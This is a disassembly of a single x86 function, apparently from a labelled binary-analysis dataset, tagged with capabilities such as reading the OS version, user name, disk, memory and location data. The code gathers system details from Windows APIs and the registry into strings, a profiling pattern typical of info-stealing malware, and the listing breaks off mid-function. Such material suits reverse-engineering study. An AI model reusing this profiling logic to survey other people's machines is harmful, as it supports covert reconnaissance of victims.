Function at 0x412f9c
Capabilities:
Check os version
Get common file path
Get disk information
Get geographical location
Get memory capacity
Get session user name
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xce
push 0
push 0
dec ecx
jne 0x412fa4
xor eax, eax
push ebp
push 0x4146c9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x41eb74
mov edx, 0x4146dc
call fcn.0040326c
mov eax, 0x41eb84
mov edx, 0x4147a0
call fcn.0040326c
mov dword [ebp - 0xf0], 0x94
mov eax, 0x41eb74
mov edx, 0x4147ac
call fcn.0040326c
lea eax, [ebp - 0xf0]
push eax
call sub.kernel32.dll_GetVersionExA
cmp dword [ebp - 0xe0], 2
jne 0x413014
lea eax, [ebp - 0x10]
mov edx, 0x414808
call fcn.004032b0
jmp 0x41303c
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c8]
call fcn.00404970
mov ecx, dword [ebp - 0x5c8]
lea eax, [ebp - 0x10]
mov edx, 0x414824
call fcn.004033e8
cmp byte [0x41ebb4], 0
je 0x413054
lea eax, [ebp - 0xc]
mov edx, 0x414840
call fcn.004032b0
jmp 0x413061
lea eax, [ebp - 0xc]
mov edx, 0x414850
call fcn.004032b0
mov eax, 0x41eb74
mov edx, 0x414860
call fcn.0040326c
mov eax, dword [ebp - 0xec]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5cc]
call fcn.00404970
push dword [ebp - 0x5cc]
push 0x414938
mov eax, dword [ebp - 0xe8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5d0]
call fcn.00404970
push dword [ebp - 0x5d0]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.0040345c
mov eax, dword [ebp - 0x14]
mov edx, 0x414944
call fcn.004034e8
jne 0x4130d4
lea eax, [ebp - 0xc]
mov edx, 0x414950
call fcn.004032b0
mov eax, 0x41eb74
mov edx, 0x414960
call fcn.0040326c
lea eax, [ebp - 0x20]
lea edx, [ebp - 0xdc]
mov ecx, 0x80
call fcn.00403384
mov eax, 0x41eb74
mov edx, 0x4149c0
call fcn.0040326c
lea eax, [ebp - 0x5d4]
mov ecx, 0x414a50
mov edx, dword [0x41ed9c]
call fcn.004033e8
mov edx, dword [ebp - 0x5d4]
mov eax, dword [ebp - 0x20]
call fcn.004034e8
jne 0x41313d
lea eax, [ebp - 0x20]
mov edx, 0x414a5c
call fcn.004032b0
jmp 0x4131da
lea eax, [ebp - 0x5d8]
mov ecx, 0x414a68
mov edx, dword [0x41ed9c]
call fcn.004033e8
mov edx, dword [ebp - 0x5d8]
mov eax, dword [ebp - 0x20]
call fcn.004034e8
jne 0x413172
lea eax, [ebp - 0x20]
mov edx, 0x414a74
call fcn.004032b0
jmp 0x4131da
lea eax, [ebp - 0x5dc]
mov ecx, 0x414a80
mov edx, dword [0x41ed9c]
call fcn.004033e8
mov edx, dword [ebp - 0x5dc]
mov eax, dword [ebp - 0x20]
call fcn.004034e8
jne 0x4131a7
lea eax, [ebp - 0x20]
mov edx, 0x414a8c
call fcn.004032b0
jmp 0x4131da
lea eax, [ebp - 0x5e0]
mov ecx, 0x414a98
mov edx, dword [0x41ed9c]
call fcn.004033e8
mov edx, dword [ebp - 0x5e0]
mov eax, dword [ebp - 0x20]
call fcn.004034e8
jne 0x4131da
lea eax, [ebp - 0x20]
mov edx, 0x414aa4
call fcn.004032b0
mov eax, dword [ebp - 0xe4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5e4]
call fcn.00404970
mov ecx, dword [ebp - 0x5e4]
lea eax, [ebp - 0x18]
mov edx, 0x414ab0
call fcn.004033e8
push dword [ebp - 0xc]
push 0x414ac0
push dword [ebp - 0x14]
push 0x414acc
push dword [ebp - 0x20]
push 0x414acc
push dword [ebp - 0x18]
push 0x414acc
lea eax, [ebp - 0x1c]
mov edx, 8
call fcn.0040345c
push dword [0x41eb84]
push dword [ebp - 0x10]
push 0x4147a0
push dword [ebp - 0xc]
push 0x414ac0
push dword [ebp - 0x14]
push 0x4147a0
push dword [ebp - 0x18]
push 0x4147a0
push dword [ebp - 0x20]
push 0x4147a0
push 0x414ad8
push dword [0x41eb40]
push 0x414aec
push 0x4147a0
mov eax, 0x41eb84
mov edx, 0xf
call fcn.0040345c
push 0xfa
lea eax, [ebp - 0x583]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, 0x41eb74
mov edx, 0x414af8
call fcn.0040326c
push dword [0x41eb84]
push 0x414b90
lea eax, [ebp - 0x5e8]
lea edx, [ebp - 0x583]
mov ecx, 0xfb
call fcn.00403384
push dword [ebp - 0x5e8]
push 0x4147a0
mov eax, 0x41eb84
mov edx, 4
call fcn.0040345c
mov eax, dword [0x41d2d4]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
mov ecx, 0x414ba4
mov edx, 0x414bb8
mov eax, 0x80000001
call fcn.00406400
push dword [0x41eb84]
push 0x414bdc
push dword [ebp - 0xc]
push 0x4147a0
mov eax, 0x41eb84
mov edx, 4
call fcn.0040345c
push dword [ebp - 0x1c]
push dword [ebp - 0xc]
push 0x414acc
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.0040345c
push dword [0x41eb84]
push 0x414bf0
push dword [0x41eb3c]
push 0x4147a0
mov eax, 0x41eb84
mov edx, 4
call fcn.0040345c
mov eax, 0x41eb74
mov edx, 0x414c08
call fcn.0040326c
push dword [ebp - 0x1c]
push 0x414c50
push dword [0x41eb3c]
push 0x414acc
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.0040345c
mov dword [ebp - 0x58], 0x32
mov eax, 0x41eb74
mov edx, 0x414c60
call fcn.0040326c
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x583]
push eax
call sub.advapi32.dll_GetUserNameA
push dword [0x41eb84]
push 0x414c8c
lea eax, [ebp - 0x5ec]
lea edx, [ebp - 0x583]
mov ecx, 0xfb
call fcn.00403384
push dword [ebp - 0x5ec]
push 0x4147a0
mov eax, 0x41eb84
mov edx, 4
call fcn.0040345c
mov eax, 0x41eb74
mov edx, 0x414ca0
call fcn.0040326c
push dword [ebp - 0x1c]
push 0x414d70
lea eax, [ebp - 0x5f0]
lea edx, [ebp - 0x583]
mov ecx, 0xfb
call fcn.00403384
push dword [ebp - 0x5f0]
push 0x414acc
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.0040345c
mov eax, 0x41eb74
mov edx, 0x414d80
call fcn.0040326c
lea eax, [ebp - 0xc]
mov edx, 0x414d98
call fcn.004032b0
mov eax, 0x41eb74
mov edx, 0x414dbc
call fcn.0040326c
lea eax, [ebp - 0x10]
mov ecx, 0x414e74
mov edx, dword [ebp - 0xc]
call fcn.004033e8
mov eax, dword [0x41d2d4]
push eax
mov ecx, 0x414e90
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00406338
lea edx, [ebp - 0x14]
call fcn.00404950
mov eax, dword [ebp - 0x14]
call fcn.0040339c
cmp eax, 3
jge 0x4134bd
push 0
push 0x100000
call fcn.00405874
call fcn.00403b2c
jno 0x4134b3
call fcn.00402a08
push edx
push eax
lea eax, [ebp - 0x14]
call fcn.00404970
mov eax, 0x41eb74
mov edx, 0x414ea0
call fcn.0040326c
push dword [ebp - 0x1c]
push 0x414f3c
push dword [ebp - 0x14]
push 0x414acc
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.0040345c
push dword [0x41eb84]
push 0x414f4c
push 0x414f58
push dword [ebp - 0x14]
push 0x414f68
push 0x4147a0
push 0x414f78
mov eax, dword [0x41d2d4]
push eax
push 0x400
lea eax, [ebp - 0x5f4]
push eax
mov ecx, 0x414f94
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00406400
push dword [ebp - 0x5f4]
push 0x4147a0
push 0x414fb0
mov eax, dword [0x41d2d4]
push eax
push 0x400
lea eax, [ebp - 0x5f8]
push eax
mov ecx, 0x414fc8
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00406400
push dword [ebp - 0x5f8]
push 0x4147a0
push 0x414fdc
mov eax, dword [0x41d2d4]
push eax
push 0x400
lea eax, [ebp - 0x5fc]
push eax
mov ecx, 0x414ff0
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00406400
push dword [ebp - 0x5fc]
push 0x4147a0
push 0x41500c
mov eax, dword [0x41d2d4]
push eax
push 0x400
lea eax, [ebp - 0x600]
push eax
mov ecx, 0x415024
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406400
push dword [ebp - 0x600]
push 0x4147a0
push 0x415040
mov eax, dword [0x41d2d4]
push eax
push 0x400
lea eax, [ebp - 0x604]
push eax
mov ecx, 0x415054
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406400
push dword [ebp - 0x604]
push 0x4147a0
push 0x41506c
mov eax, dword [0x41d2d4]
push eax
push 0x400
lea eax, [ebp - 0x608]
push eax
mov ecx, 0x41508c
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406400
push dword [ebp - 0x608]
push 0x4147a0
push 0x4150a8
mov eax, dword [0x41d2d4]
push eax
push 0x400
lea eax, [ebp - 0x60c]
push eax
mov ecx, 0x4150c4
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406400
push dword [ebp - 0x60c]
push 0x4147a0
mov eax, 0x41eb84
mov edx, 0x1b
call fcn.0040345c
mov eax, 0x41eb74
mov edx, 0x4150dc
call fcn.0040326c
lea eax, [ebp - 0xc]
mov edx, 0x415170
call fcn.004032b0
xor eax, eax
mov dword [ebp - 0x28], eax
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 0x28]
call fcn.00404950
mov eax, dword [0x41d2d4]
push eax
push 0x400
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x610]
mov ecx, dword [ebp - 0x18]
mov edx, 0x415180
call fcn.004033e8
mov ecx, dword [ebp - 0x610]
mov edx, 0x415198
mov eax, 0x80000002
call fcn.00406400
mov eax, dword [ebp - 0x14]
call fcn.0040339c
test eax, eax
jle 0x413710
push dword [0x41eb84]
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push 0x4147a0
mov eax, 0x41eb84
mov edx, 4
call fcn.0040345c
mov eax, dword [0x41d2d4]
push eax
push 0x400
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x614]
mov ecx, dword [ebp - 0x18]
mov edx, 0x4151c0
call fcn.004033e8
mov ecx, dword [ebp - 0x614]
mov edx, 0x4151dc
mov eax, 0x80000002
call fcn.00406400
mov eax, dword [ebp - 0x14]
call fcn.0040339c
test eax, eax
jle 0x413773
push dword [0x41eb84]
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push 0x4147a0
mov eax, 0x41eb84
mov edx, 4
call fcn.0040345c
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 7
jne 0x4136a2
mov eax, 0x41eb74
mov edx, 0x415208
call fcn.0040326c
mov eax, dword [0x41d2d4]
push eax
mov ecx, dword [0x41ed3c]
mov edx, dword [0x41ed20]
mov eax, 0x80000002
call fcn.00406338
lea edx, [ebp - 0x18]
call fcn.00404950
mov eax, 0x41eb74
mov edx, 0x415258
call fcn.0040326c
mov eax, dword [ebp - 0x18]
call fcn.0040339c
test eax, eax
jle 0x4137ee
push dword [0x41ed3c]
push 0x415274
push dword [ebp - 0x18]
push 0x4147a0
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.0040345c
mov dword [ebp - 0x5c4], 0x20
lea eax, [ebp - 0x5c4]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, 0x41eb74
mov edx, 0x415280
call fcn.0040326c
mov eax, dword [ebp - 0x5bc]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xc]
call fcn.00404970
push dword [ebp - 0x1c]
push 0x4152d8
push dword [ebp - 0xc]
push 0x414acc
push dword [0x41eb40]
push 0x414acc
lea eax, [ebp - 0x1c]
mov edx, 6
call fcn.0040345c
push dword [0x41eb84]
push 0x414f4c
push 0x4152e8
push 0x4147a0
push 0x4152fc
push dword [ebp - 0xc]
push 0x415314
push 0x4147a0
push 0x415320
mov eax, dword [ebp - 0x5c0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x618]
call fcn.00404970
push dword [ebp - 0x618]
push 0x415330
push 0x4147a0
push 0x41533c
mov eax, dword [ebp - 0x5b8]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x61c]
call fcn.00404970
push dword [ebp - 0x61c]
push 0x415314
push 0x4147a0
push 0x414f4c
push 0x415354
push 0x4147a0
push 0x415368
mov eax, dword [ebp - 0x5b4]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x620]
call fcn.00404970
push dword [ebp - 0x620]
push 0x415314
push 0x4147a0
push 0x41537c
mov eax, dword [ebp - 0x5b0]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x624]
call fcn.00404970
push dword [ebp - 0x624]
push 0x415314
push 0x4147a0
push 0x415390
mov eax, dword [ebp - 0x5ac]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x628]
call fcn.00404970
push dword [ebp - 0x628]
push 0x415314
push 0x4147a0
push 0x4153a8
mov eax, dword [ebp - 0x5a8]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x62c]
call fcn.00404970
push dword [ebp - 0x62c]
push 0x415314
push 0x4147a0
push 0x4147a0
push dword [0x41ed98]
push dword [0x41eb50]
push 0x4147a0
push dword [ebp - 0x18]
mov eax, 0x41eb84
mov edx, 0x28
call fcn.0040345c
mov eax, 0x41eb74
mov edx, 0x414c60
call fcn.0040326c
lea eax, [ebp - 0x280]
push eax
push 0x101
mov eax, dword [0x41d298]
mov eax, dword [eax]
call eax
mov eax, 0x41eb74
mov edx, 0x4153c0
call fcn.0040326c
push 0xff
lea eax, [ebp - 0x583]
push eax
mov eax, dword [0x41d2bc]
mov eax, dword [eax]
call eax
lea eax, [ebp - 0x583]
push eax
call sub.wsock32.dll_gethostbyname
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
mov eax, dword [0x41d288]
mov eax, dword [eax]
call eax
mov edx, eax
lea eax, [ebp - 0xc]
call fcn.00403348
push dword [0x41eb84]
push 0x415440
push dword [ebp - 0xc]
mov eax, 0x41eb84
mov edx, 3
call fcn.0040345c
mov eax, 0x41eb74
mov edx, 0x415454
call fcn.0040326c
push dword [ebp - 0x1c]
push 0x4154d0
push dword [ebp - 0xc]
push 0x414acc
push 0x4154dc
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.0040345c
mov eax, 0x41eb74
mov edx, 0x4154ec
call fcn.0040326c
mov eax, dword [0x41d2ec]
mov eax, dword [eax]
call eax
push dword [0x41eb84]
push 0x4147a0
push 0x4147a0
push 0x415538
push 0x4147a0
mov eax, 0x41eb84
mov edx, 5
call fcn.0040345c
mov byte [ebp - 5], 0x42
lea eax, [ebp - 0x630]
mov dl, byte [ebp - 5]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x630]
lea eax, [ebp - 0x634]
call fcn.004027dc
mov edx, 0x415548
lea eax, [ebp - 0x634]
mov cl, 2
call fcn.004027ac
lea edx, [ebp - 0x634]
lea eax, [ebp - 0x638]
call fcn.004027dc
mov edx, 0x41554c
lea eax, [ebp - 0x638]
mov cl, 3
call fcn.004027ac
lea edx, [ebp - 0x638]
lea eax, [ebp - 0x24]
call fcn.00403378
mov eax, dword [ebp - 0x24]
call fcn.0040359c
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 6
ja case.0x413b3a.0
jmp dword [eax*4 + 0x413b41]
mov eax, 0x41eb74
mov edx, 0x415558
call fcn.0040326c
lea eax, [ebp - 0xc]
mov edx, 0x41558c
call fcn.004032b0
lea eax, [ebp - 0x10]
mov edx, 0x4155a0
call fcn.004032b0
jmp 0x413ca4
mov eax, 0x41eb74
mov edx, 0x4155ac
call fcn.0040326c
lea eax, [ebp - 0xc]
mov edx, 0x415644
call fcn.004032b0
lea eax, [ebp - 0x10]
mov edx, 0x415654
call fcn.004032b0
mov eax, 0x41eb74
mov edx, 0x415660
call fcn.0040326c
jmp 0x413ca4
mov eax, 0x41eb74
mov edx, 0x41568c
call fcn.0040326c
lea eax, [ebp - 0xc]
mov edx, 0x4156e0
call fcn.004032b0
lea eax, [ebp - 0x10]
mov edx, 0x4156f0
call fcn.004032b0
mov eax, 0x41eb74
mov edx, 0x415700
call fcn.0040326c
jmp 0x413ca4
lea eax, [ebp - 0xc]
mov edx, 0x415770
call fcn.004032b0
lea eax, [ebp - 0x10]
mov edx, 0x415780
call fcn.004032b0
mov eax, 0x41eb74
mov edx, 0x4150dc
call fcn.0040326c
push dword [0x41eb84]
push 0x4147a0
push 0x414f4c
push dword [ebp - 0x24]
push dword [ebp - 0xc]
push 0x4147a0
mov eax, 0x41eb84
mov edx, 6
call fcn.0040345c
lea eax, [ebp - 0xc]
call fcn.00403218
jmp 0x413ca4
lea eax, [ebp - 0xc]
mov edx, 0x41578c
call fcn.004032b0
mov eax, 0x41eb74
mov edx, 0x41579c
call fcn.0040326c
lea eax, [ebp - 0x10]
mov edx, 0x415860
call fcn.004032b0
mov eax, 0x41eb74
mov edx, 0x415874
call fcn.0040326c
jmp 0x413ca4
lea eax, [ebp - 0xc]
call fcn.00403218
mov eax, 0x41eb74
mov edx, 0x415940
call fcn.0040326c
mov eax, dword [ebp - 0xc]
call fcn.0040339c
dec eax
jl 0x413f45
mov eax, 0x41eb74
mov edx, 0x415a04
call fcn.0040326c
push dword [ebp - 0x1c]
lea eax, [ebp - 0x63c]
mov dl, byte [ebp - 5]
call fcn.00403338
push dword [ebp - 0x63c]
push 0x415274
push dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.0040345c
push dword [0x41eb84]
push 0x414f4c
push dword [ebp - 0x24]
push 0x4147a0
push 0x415ac0
push dword [ebp - 0xc]
push 0x4147a0
mov eax, 0x41eb84
mov edx, 7
call fcn.0040345c
mov eax, 0x41eb74
mov edx, 0x415ad0
call fcn.0040326c
push 0x64
lea eax, [ebp - 0x488]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
push 0x104
lea eax, [ebp - 0x384]
push eax
mov eax, dword [ebp - 0x24]
call fcn.0040359c
push eax
mov eax, dword [0x41d2ac]
mov eax, dword [eax]
call eax
test eax, eax
je 0x413e3d
push dword [0x41eb84]
push 0x415b7c
lea eax, [ebp - 0x640]
lea edx, [ebp - 0x384]
mov ecx, 0x104
call fcn.00403384
push dword [ebp - 0x640]
push 0x4147a0
push 0x415b8c
lea eax, [ebp - 0x644]
lea edx, [ebp - 0x488]
mov ecx, 0x104
call fcn.00403384
push dword [ebp - 0x644]
push 0x4147a0
push 0x415b9c
mov eax, dword [ebp - 0x2c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x648]
call fcn.00404970
push dword [ebp - 0x648]
push 0x4147a0
push 0x415bac
mov eax, dword [ebp - 0x30]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x64c]
call fcn.00404970
push dword [ebp - 0x64c]
push 0x4147a0
push 0x415bc0
mov eax, dword [ebp - 0x34]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x650]
call fcn.00404970
push dword [ebp - 0x650]
push 0x4147a0
mov eax, 0x41eb84
mov edx, 0x10
call fcn.0040345c
mov eax, 0x41eb74
mov edx, 0x415bd0
call fcn.0040326c
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
mov eax, dword [ebp - 0x24]
call fcn.0040359c
push eax
mov eax, dword [0x41d294]
mov eax, dword [eax]
call eax
test eax, eax
je 0x413f45
push dword [0x41eb84]
push 0x415cac
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
call fcn.00403b2c
jno 0x413e96
call fcn.00402a08
push edx
push eax
lea eax, [ebp - 0x654]
call fcn.00404970
push dword [ebp - 0x654]
push 0x415314
push 0x4147a0
push 0x415cbc
push 0
push 0x100000
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
call fcn.00403b2c
jno 0x413ed1
call fcn.00402a08
push edx
push eax
lea eax, [ebp - 0x658]
call fcn.00404970
push dword [ebp - 0x658]
push 0x415314
push 0x4147a0
push 0x415ccc
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
sub eax, dword [ebp - 0x50]
sbb edx, dword [ebp - 0x4c]
jno 0x413f0d
call fcn.00402a08
call fcn.00403b2c
jno 0x413f19
call fcn.00402a08
push edx
push eax
lea eax, [ebp - 0x65c]
call fcn.00404970
push dword [ebp - 0x65c]
push 0x415314
push 0x4147a0
mov eax, 0x41eb84
mov edx, 0xd
call fcn.0040345c
inc byte [ebp - 5]
cmp byte [ebp - 5], 0x5b
jne 0x413ac0
push 0
push 0
push 0
push 0x415cd4
call sub.gdi32.dll_CreateDCA
mov dword [ebp - 0x54], eax
push 8
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0xc]
call fcn.00404950
mov eax, 0x41eb74
mov edx, 0x415ce4
call fcn.0040326c
push 0xa
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x10]
call fcn.00404950
push 0x74
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x14]
call fcn.00404950
push 0xc
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x18]
call fcn.00404950
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_DeleteDC
push dword [0x41eb84]
push 0x414f4c
push 0x415d20
push 0x4147a0
push 0x415d34
push dword [ebp - 0xc]
push 0x4147a0
push 0x415d44
push dword [ebp - 0x10]
push 0x4147a0
push 0x415d58
push dword [ebp - 0x14]
push 0x4147a0
push 0x415d6c
push dword [ebp - 0x18]
push 0x4147a0
mov eax, 0x41eb84
mov edx, 0x10
call fcn.0040345c
push dword [ebp - 0x1c]
push 0x414acc
push 0x415d84
push dword [ebp - 0xc]
push 0x415d94
push dword [ebp - 0x10]
push 0x415da0
push dword [ebp - 0x14]
push 0x415d94
push dword [ebp - 0x18]
lea eax, [ebp - 0x1c]
mov edx, 0xa
call fcn.0040345c
mov eax, 0x41eb74
mov edx, 0x415dac
call fcn.0040326c
lea eax, [ebp - 0x5a4]
xor ecx, ecx
mov edx, 7
call fcn.004027e8
lea eax, [ebp - 0x5a4]
push eax
push 8
mov eax, dword [0x41d2c8]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x58], eax
mov eax, 0x41eb74
mov edx, 0x415dc0
call fcn.0040326c
push 0x415e34
mov eax, dword [ebp - 0x58]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x660]
call fcn.00404970
push dword [ebp - 0x660]
push 0x4147a0
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040345c
mov eax, 0x41eb74
mov edx, 0x415e50
call fcn.0040326c
mov eax, dword [ebp - 0x58]
sub eax, 1
jae 0x4140e6
call fcn.00402a08
test eax, eax
jns 0x4140ef
call fcn.00402a00
test eax, eax
jl 0x414560
inc eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x28]
cmp eax, 7
jbe 0x41410f
call fcn.00402a00
mov eax, dword [ebp + eax*4 - 0x5a4]
and eax, 0xff
cmp eax, 0x38
ja case.0x414124.0
jmp dword [eax*4 + 0x41412b]
lea eax, [ebp - 0x18]
mov edx, 0x415ed0
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415ee0
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415ef0
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415f00
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415f10
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415f20
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415f30
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415f40
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415f50
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415f60
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415f70
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415f80
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415f90
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415f9c
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415fb0
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415fc4
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415fd4
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415fe4
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x415ff4
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416004
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416014
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416024
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416038
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x41604c
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416060
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416070
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416084
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416094
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x4160a4
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x4160b8
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x4160cc
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x4160dc
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x4160f0
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416104
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416110
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416120
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416134
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416144
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416154
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416164
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416174
call fcn.004032b0
jmp case.0x414124.0
lea eax, [ebp - 0x18]
mov edx, 0x416180
call fcn.004032b0
push dword [ebp - 0xc]
lea edx, [ebp - 0x664]
mov eax, dword [ebp - 0x28]
add eax, 1
jno 0x4144fc
call fcn.00402a08
call fcn.00404950
push dword [ebp - 0x664]
push 0x415274
mov eax, dword [ebp - 0x28]
cmp eax, 7
jbe 0x414519
call fcn.00402a00
mov eax, dword [ebp + eax*4 - 0x5a4]
and eax, 0xff
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x668]
call fcn.00404970
push dword [ebp - 0x668]
push 0x414ac0
push dword [ebp - 0x18]
push 0x4147a0
lea eax, [ebp - 0xc]
mov edx, 7
call fcn.0040345c
inc dword [ebp - 0x28]
dec dword [ebp - 0x5c]
jne 0x414102
mov eax, 0x41eb84
mov edx, dword [ebp - 0xc]
call fcn.004033a4
mov eax, 0x41eb74
mov edx, 0x416190
call fcn.0040326c
lea eax, [ebp - 0x14]
mov edx, 0x416244
call fcn.004032b0
mov eax, 0x41eb74
mov edx, 0x416260
call fcn.0040326c
mov eax, dword [0x41d2d4]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
mov ecx, 0x4162c0
mov edx, dword [ebp - 0x14]
mov eax, 0x80000001
call fcn.00406400
mov eax, 0x41eb74
mov edx, 0x4162d4
call fcn.0040326c
cmp dword [ebp - 0xc], 0
je 0x414629
push dword [0x41eb84]
push 0x414f4c
push 0x416310
push dword [ebp - 0xc]
push 0x4147a0
push 0x416328
mov eax, dword [0x41d2d4]
push eax
push 0x400
lea eax, [ebp - 0x66c]
push eax
mov ecx, 0x41633c
mov edx, dword [ebp - 0x14]
mov eax, 0x80000002
call fcn.00406400
push dword [ebp - 0x66c]
push 0x4147a0
mov eax, 0x41eb84
mov edx, 8
